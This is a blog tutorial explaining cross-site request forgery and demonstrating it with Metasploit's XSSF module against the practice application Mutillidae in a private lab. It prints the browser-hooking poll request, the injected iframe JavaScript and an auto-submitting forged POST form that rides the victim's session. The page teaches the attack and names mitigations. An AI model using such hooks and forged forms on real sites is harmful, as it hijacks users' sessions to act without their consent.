Note: Some of the images may be a bit hard to read. Simply, click them to load a full-sized version.
Mention Cross-site Request Forgery, or CSRF and eyes will glaze over. Its just one of those subjects that is mysteriously difficult for most to grasp, though its really not all that complicated.
Briefly, a successful CSRF attack involves tricking a user who has a valid session open within an application (bank, web mail, blog, etc.) to submit a request to that application in which the application happily processes the malicious request as if the client consciously made the request themselves. Because the browser automatically resubmits unexpired cookies by design to domains in its cache, the attack succeeds as the vulnerable application has no way to determine this request was not legitimately made. Clear as mud?
Time for an oversimplified example:
Upon login, your bank issues you a cookie which is stored in your browser for a particular period of time, the expiration of which is set by the application.
The banking application also has some predictable parameters in one (or more) of its functions, let’s say the transfer_funds function. This function works like this: when you want to transfer funds from your savings to your checking, the browser request looks like this:
Simple to see what happening here: transfer 100.00 to account 8117
The attack then flows like this: A malicious individual, we’ll call him Ed, spams you a link to the embarrassing celebrity photo of the week. Sure you arrive at the page displaying the latest arrest of some over-privileged twenty-something, but embedded in the page is another gift, arguably much more entertaining, code that calls out to your banking application’s vulnerable function:
Now if you have an active session, let’s say you are currently logged into your bank, or you didn’t properly log out, this transfer will complete successfully, but this time you’ll send 10K to Evil Ed.
As I mentioned this is a way oversimplified example and there is much taken for granted. For more information, including mitigation techniques, start with OWASP’s CSRF page.
As difficult as CSRF can be to explain, it can be just as difficult to demonstrate, especially if the vulnerable request is made with a POST as opposed to a GET.
There are some tools to help with this like Monkeyfist or you can create your own custom forms, but I recently stumbled upon the functionality in the Cross-Site Scripting Framework (XSSF) that helps make demonstrating CSRF and its associated risks a breeze.
The scenario: Our victim lives behind a firewall. It has a private IP address that is non-routable and thereby unreachable to the attacker. The victim will however visit our malicious site and execute our code, thereby hooking the client browser.
Note: an active session is required and our application must have predictable parameters.
Our attacker is going to attempt to force any hooked browsers to post a blog entry into the vulnerable blogging application, in this case Mutillidae.
Let’s quickly look at some key aspects of Mutillidae.
When first visiting the site you are presented with a cookie (PHPSESSIONID):
Upon successful login we recieve a second cookie (uid):
A normal post to the blog looks like this:
Notice both PHPSESSIONID and uid are passed in the POST request.
Here’s what the successful blog post looks like:
Next we fire up MSF and load XSSF:
XSSF also has web-based interfaces which provide administration, statistics and logs. View all these URLs with by issuing the command xssf_urls:
Now to hook our victim. To keep this somewhat simple, we’ll use the xssf test page to hook our victim browser. Imagine this code is buried within a blog or site offering warez or perhaps the code was delivered via XSS in another or the same vulnerable application.
The XSSF test page includes the underlying code needed to hook our victims:
In my case the test page is located at http://192.168.0.112:8888/test.html
Once hooked, let’s bounce over to the XSSF control page to view our victim. In my case the control page is located at: http://localhost:8889/gui.html?guipage=main:
Now let’s setup our CSRF attack. The module is located within MSF at auxiliary/xssf/public/misc/csrf. Here are the default options:
We’ll tweak these options to include the parameters needed to mount our CSRF
attack. Most important are vulnWebsite and params:
Once configured enter exploit -j and the malicious script will be pushed down to the hooked browser. Note any exploit can be pushed down to a single or all browsers.
Here’s a quick break down of the attack:
The injected script is checking in at regular intervals for instructions from the server. When the attack is launched the client receives a response to the following call:
GET /ask?location=http://192.168.0.112:8888&id=27&time=1320453148253 HTTP/1.1
In the response is included the following code:
f=XSSF_CREATE_IFRAME('csrf', 0, 0)f.src = XSSF_SERVER + 'myframe.html';document.body.appendChild(f);
This code creates an IFRAME from the source of myframe.html
myframe.html contains the following code to create and submit our CSRF attack:
<form id=”f” enctype=”application/x-www-form-urlencoded” method=’POST’ action=’http://192.168.0.105/mutillidae/index.php?page=add-to-your-blog.php’>
<input type=”text” name=”csrf-token” value=”SecurityIsDisabled”><input type=”text” name=”blog_entry” value=”On second thought, ask someone else. I know NOTHING about security.”>
<input type=”text” name=”add-to-your-blog-php-submit-button” value=”Save Blog Entry”></form><script>document.getElementById(‘f’).submit();</script>
Notice there are no cookies being sent in this request. But again, because we have an active session, the browser will send the cookies automatically:
And the resulting blog:
Pretty easy, huh?
I hope this post has made CSRF vulnerabilities just a little easier to understand. I recommend you look into XSSF further as I just scratched the surface of its capabilities. Remember to visit OWASP for effective remediation strategies, such as double-submit cookies and per-page tokens.